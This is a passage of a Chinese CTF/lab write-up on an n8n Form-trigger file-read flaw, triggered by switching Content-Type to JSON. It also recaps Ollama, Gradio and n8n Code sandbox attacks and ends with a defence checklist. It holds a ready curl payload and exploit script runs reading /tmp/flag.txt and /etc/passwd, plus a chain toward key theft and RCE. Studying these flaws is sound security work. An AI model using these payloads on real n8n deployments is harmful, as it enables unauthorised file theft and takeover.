URL 路径 = path → 没有就取 options.path → 再没有就回退到 $webhookId 。 而且 typeVersion ≥ 2.2 时,path 参数被移进了 options.path 。 所以用 API 建表单时,URL 可能悄悄变成 /form/<webhookId>。

文件上传字段是 formFields.values[],其中 fieldType: "file" 就是文件上传。 有文件上传,才有后面那段读文件的代码。

(2)Content-Type 与"解析器分派"

这是本题根因,也是最值得带走的一条通用经验。 同一个 HTTP 请求,Content-Type 决定服务端用哪套解析器:

Content-Type n8n 走的解析器 上传文件落到哪
multipart/form-data Formidable 随机临时路径(安全)
application/json parseBody() 直接把 JSON body 塞进 req.body(完全可控)

关键在于:安全校验只长在其中一条代码路径上。 Formidable 那条路自己会把文件写到随机路径,天然免疫路径控制; 而 JSON 那条路完全信任请求体 ,files 对象里的 filepath 就变成了"想读什么就读什么"。

通用经验 :看到"同一份数据、两套解析器",就该怀疑------ Content-Type 是不是一道用一个 Header 就能跨过去的门? 这类漏洞(CWE-436)在文件上传、反序列化场景里非常常见。

(3)n8n 的执行数据模型

读到的文件不在 HTTP 响应里 ,而是作为 binary 数据挂在 item 上:

复制代码
item.binary["file"] = { data: "<base64>", mimeType: "...", fileName: "..." }

binaryDataMode 决定存哪:default(小文件内联在 execution 数据里)或 filesystem(写磁盘)。

execution.data 是扁平化数组:

复制代码
[0] {"version":1,"startData":"1","resultData":"2",...}
[2] {"runData":"6"}
[6] {"Form":[...]}          ← 真实数据在这里

形如 "resultData":"2" 的字符串是指向数组下标的引用 。 直接按 data.resultData.runData... 读会拿到 "6",必须先展开引用 (unflatten())。

通用经验:看到"值是字符串数字、而且数字刚好是数组下标", 基本可以断定这是某种引用式压缩格式。

(4)实例状态与身份

GET /rest/settings 是公开的。其中 userManagement.showSetupOnFirstLoad: true 意味着实例还没有 owner 账号,任何人可以:

复制代码
POST /rest/owner/setup
{"email":"...","firstName":"...","lastName":"...","password":"..."}

直接给自己创建一个 global:owner。

这不是漏洞,而是 n8n 的正常首次初始化流程。 但在靶场 / 未加固部署里,它等于把管理员权限白白送人 。 永远先看目标实际状态,再判断"需不需要认证"。

另外,登录参数在版本间会变:emailOrLdapLoginId(新版本)或 email(如 1.65.0), 写脚本时两个都试最稳。

🔍 4.2 漏洞原理

n8n 的 Form 触发器用 Formidable 处理 multipart/form-data 时会把上传文件存到随机临时路径。 但把 Content-Type 换成 application/json 后,走的是另一套 parseBody(), 于是 req.body.files 变成攻击者完全可控的对象:

复制代码
// packages/nodes-base/nodes/Form/utils.ts (n8n 1.65.0)
const bodyData = (context.getBodyData().data as IDataObject) ?? {};
const files    = (context.getBodyData().files as IDataObject) ?? {};   // ← JSON body 可直接填充

for (const key of Object.keys(files)) {
    ...
    returnItem.binary![binaryPropertyName] = await context.nodeHelpers.copyBinaryFile(
        file.filepath,                         // ← 完全可控,直接读该路径
        file.originalFilename ?? file.newFilename,
        file.mimetype,
    );
}

注意:filepath 直接吃绝对路径,不需要任何 ../ 穿越。 读到的内容作为 binary 数据挂在 item 上,不再有任何路径校验。

🛠️ 4.3 利用过程

先纠正四个错误方向

这道题不是"多接口 × 多层 ../ × 多种编码"的爆破题:

常见误判 实测结果
/rest/files/download?path= 404 路由不存在
/rest/workflows/download?file= 401 需认证
/rest/credentials/download?file= 401 需认证
/rest/executions/download?file= 401 需认证
/rest/data/download?path= 404 路由不存在

三点纠正:

  1. 不在 /rest/ 下 。漏洞点在 Form Webhook(/form/...)。

  2. 不需要 ../,也不需要 URL 编码 。filepath 直接吃绝对路径。

  3. 不是"构造请求参数",而是"换一个 Header"。攻击面是 Content-Type。

本题的特殊之处:靶场里没有现成的表单

GET /rest/settings 显示未认领;认领后 GET /rest/workflows 返回 count = 0 。 没有表单,就没有触发点。 所以完整链必须先把表单造出来:

复制代码
① POST /rest/owner/setup        认领实例,自建 owner(靶场是空的)
        │
② 建 Form Trigger 工作流(含一个 file 字段)并 PATCH active:true
        │                       ← 这一步"造出有漏洞的表单"
③ POST /form/<webhookId>  +  Content-Type: application/json
        ├─ data.files 由我们控制
        └─ files.field-0.filepath = /tmp/flag.txt      ← 直接读,无需 ../
        │
④ GET /rest/executions/{id}?unflattened=true&includeData=true
        → unflatten → binary["file"].data → base64 解码 → 拿到内容

现实中的利用不需要 ①②:任何公网可访问、带文件上传字段的 n8n 表单, 都能被 ③ 一步打穿。①② 只是"空靶场"造成的额外步骤。

最终 Payload
复制代码
curl -X POST "http://<靶场地址>:<端口>/form/<webhookId>" \
  -H "Content-Type: application/json" \
  -d '{"data":{},"files":{"field-0":{"filepath":"/tmp/flag.txt",
       "originalFilename":"a.bin","mimetype":"text/plain","size":999}}}'

响应只是 {"status":200}------文件内容不在响应里,它在执行记录的 binary 字段中。

为什么 CVE-2025-68613 本题用不上

公开完整链(Chocapikk PoC):

复制代码
任意文件读 → 读 ~/.n8n/config 拿加密密钥 + database.sqlite 拿密码哈希
           → 伪造 admin token → CVE-2025-68613 表达式注入 → RCE

后半段全部是为了"绕过认证、拿到管理员、再升级到命令执行"。 本题实例根本未被认领 (自己建 owner 就行),且 flag 就是 /tmp/flag.txt, 所以 ③ 一步到底,第二环完全不需要。

复现命令与实测输出
复制代码
python exploit.py                       # 全自动,默认读 /tmp/flag.txt
python exploit.py --file /etc/passwd    # 读其它文件
python exploit.py --list                # 只看当前工作流/表单地址
[0] n8n 版本 = 1.65.0
[0] 受影响(<1.121.0): True
[1] POST /rest/login (email) -> 200
[2] 已创建并激活表单工作流 id=bK90FcJrdzx4bEDU
[2] 表单地址 = http://<靶场地址>:<端口>/form/60db1c96-eb73-4d8e-8c42-c6e54630545c
[3] POST /form/60db1c96-... (Content-Type: application/json) -> 200
[4] 从 binary 字段 'file' 取回 39 字节

[+] FLAG : flag{...}

🧪 4.4 排错表

现象 含义 / 解法
/form/<path> 404 表单 URL 是 /form/<webhookId> 。typeVersion ≥ 2.2 时 path 移入 options.path,表达式回退到 $webhookId
工作流 active:true 但 webhook 不生效 POST 创建时带 active:true 不会注册 webhook ,必须再 PATCH /rest/workflows/{id} 一次
POST /rest/login 返回 500 Email is required to log in 1.65.0 的登录字段是 email ,emailOrLdapLoginId 是新版本才引入的
表单只回 {"status":200} 正常。onReceived 只回状态;lastNode 也只回 JSON、不回 binary。内容必须从执行记录取
Code 节点报 Could not get parameter Code 节点沙箱里没有 Buffer,别指望用它回显文件内容
执行记录的 data 是 "resultData":"2" 扁平化数组,字符串数字是指向下标的引用,必须展开
报错 stat 'E:/Program Files/Git/etc/hostname' Git Bash 的路径转换 。用 MSYS_NO_PATHCONV=1、或写 //etc/hostname、或在 PowerShell 里跑。默认值 /tmp/flag.txt 不受影响(来自脚本内部,不经 shell)
读回了上一次的 flag 历史执行记录里也有同样的 binary 字段。脚本应记录当前最新 execution id,只认本次之后新产生的执行

🛡️ 4.5 修复与规避

层面 措施
升级 n8n 升到 1.121.0+
缓解 不需要表单功能就关掉表单端点;不要对公网暴露 /form/*
加固 容器内非 root;限制 ~/.n8n 权限(config 里有加密密钥,database.sqlite 里有密码哈希)
监测 监控 /form/* 上 Content-Type 与 body 形状不匹配的请求

根因一句话:同一个请求体,两套解析器,其中一套完全信任输入。 Content-Type 决定了走哪条代码路径,而安全校验只长在其中一条上。

✅ 4.6 小结

  1. 别用"漏洞类型"去想"利用手法" :题目说"路径穿越",于是所有精力都花在 ../ 的层数和编码上 ------但真正的入口是换一个 Header 。先读代码 / 看行为,再谈 payload。

  2. Content-Type 是一道常被忽视的门:只要实现里存在"按 Content-Type 分派到不同解析器", 就存在"安全校验只覆盖其中一条路"的风险。

  3. "能读到"和"能拿到"是两件事:文件确实被读进 binary 了,但它不在 HTTP 响应里, 必须理解执行数据模型(扁平化数组 + binary 字段)才能把内容带回来。

  4. "需要认证"要先验证 :题目 / 公告写着"需要已认证用户",但这个实例根本没被认领。 CVE-2025-68613 那一环之所以用不上,正是因为认证这道墙本来就不存在。


🧗 六、横向复盘

6.1 四种"壳"的攻法

维度 靶场1 Ollama 靶场2 Gradio 靶场3 n8n Code 靶场4 n8n Form
漏洞家族 Zip Slip(CWE-22) 路径穿越(CWE-22) 沙箱绕过(CWE-693) Content-Type 混淆(CWE-436)
触发点 ZIP 解压 /file= 读文件 Pyodide 执行 Python Form webhook 解析 body
校验缺陷 不校验条目名 字符串层校验 黑名单式删属性 只保护 multipart 分支
升级路径 写 → ld.so.preload → 执行 无(直接读 flag) 宿主 realm → child_process 无(直接读 flag)
回显通道 模型 system blob + /api/show HTTP 响应体 execution runData 的 JSON execution binary 的 base64
关键技巧 manifest 取 digest 上传目录做前缀 pop 掉 js 桩 一个 Header 换解析器

6.2 "把结果带回来"的四种通道

通道 做法 适用
HTTP 响应 让读取结果直接出现在响应体 Gradio /file=
模型数据结构 把结果写进模型字段,再用官方 API 读 Ollama system blob + /api/show
执行记录 JSON 把命令输出放进 return 的 json 字段 n8n Code 节点
执行记录 binary 文件被挂到 item 的 binary,base64 解码 n8n Form 节点

一条链只有把"执行"和"回显"都走通,才算真正打通。 回显通道往往比入口更难,但也是最容易被写 payload 的人忽略的一步。

6.3 四个反复出现的坑

  1. "业务报错"不是"漏洞失败" :couldn't determine model format、{"status":200}、 节点报错,都可能是链路正常的中间状态。

  2. 客户端会自作主张 :requests / 浏览器会规范化 ../,必须用 http.client 或编码绕过。

  3. 响应字段名是自己定的 :n8n 没有固定 stdout,先看你 return 了什么。

  4. 扁平化 / 引用式数据 :n8n 的 "resultData":"2" 是数组下标,不展开就取不到真数据。

6.4 防御清单(按优先级)

  1. 版本:Ollama ≥ 0.1.47、Gradio ≥ 4.11.0、n8n ≥ 1.121.0 / 2.0.0。

  2. 网络暴露 :Ollama 11434、未鉴权 Gradio、n8n /form/* 都不要直接暴露公网。

  3. 路径校验 :统一先 resolve() / Clean(),再做文件系统级前缀比较; ZIP 解压必须校验条目名逃逸。

  4. 解析器一致性:同一业务数据只允许一套解析器; 不要因为 Content-Type 不同就走两条安全等级不同的代码路径。

  5. 隔离 :Code / Python 执行必须用进程级隔离(task runner / 容器 / seccomp), 不要在同 realm 里"删属性"。

  6. 权限 :中间件以非 root 运行、只读根文件系统、no-new-privileges。

  7. 首次初始化:生产部署完成后立即认领实例、创建 owner,避免"未认领"状态暴露在公网。

  8. 敏感文件 :flag / 密钥 / config 不要放在应用默认可达路径;监控 ld.so.preload、blobs/、manifests/、~/.n8n 的异常变更。


🧾 七、总结 · 漏洞武器库

一句话复盘 :四个靶场没有一个是靠"骗模型"拿下的。 Ollama 栽在解压,Gradio 栽在读文件,n8n Code 栽在假沙箱,n8n Form 栽在请求解析------ 全部是中间件自己的代码缺陷。

通关链一句话:

  • 靶场1:blob 上传 → create 解压 → ld.so.preload + hook.so → embeddings 拉起 runner → flag hex 写回 system blob → show 读回

  • 靶场2:/upload 拿 <sha1> 目录 → /file= 穿越 → 读 /tmp/flag.txt

  • 靶场3:owner/setup → 建 Code 工作流 → pop js 桩 → 宿主 Object.constructor → execSync → runData 取结果

  • 靶场4:owner/setup → 建表单 → JSON 里指定 files.filepath → 执行记录 binary 取回

最后一句话 :LLM 中间件是"AI 时代最传统的攻击面"。 模型再聪明,也拦不住一层把 ../ 拼进路径、把 filepath 直接交给 open() 的服务代码。


📖 参考资料

Ollama / CVE-2024-45436

Gradio / CVE-2023-51449

n8n / CVE-2025-68668(N8scape)

n8n / CVE-2026-21858(Ni8mare)

相关推荐
艾莉丝努力练剑1 小时前
【AI大模型接入SDK】ChatServer接口设计规范
网络·c++·人工智能·学习·大模型·设计规范
摇滚侠1 小时前
《大模型应用开发实践:基于 Spring AI+DeepSeek 实现》第 12 章 Spring AI 开发入门 阅读笔记 2
人工智能·笔记·spring
武汉星际互动1 小时前
技术拐点已至:AI Agent给政务大厅带来什么变革?
大数据·人工智能·政务
科技研学社1 小时前
服装AI视觉质检落地实战:从人工验布到自动缺陷检测的多品牌方案对比
人工智能
QinHsiu1 小时前
4B干翻9B底座:首个Agent-Native模型NeoHorse-1,把“做事的过程”压进了参数里
人工智能
QinHsiu1 小时前
微软实锤:Agent的长记忆是毒药,清空聊天记录后性能提升58%
人工智能
xiaomuzuirenzhen1 小时前
2027秋招准备:统计学专业投商业分析、战略分析,除了SQL还要补什么?
人工智能·数据分析
知行产研1 小时前
三年三起收购,拆解卡特彼勒AI并购版图
数据库·人工智能·mysql
QinHsiu1 小时前
不说话的AI模型,把千亿大模型的活儿抢了:JEV决策模型,消费级笔记本就能跑
人工智能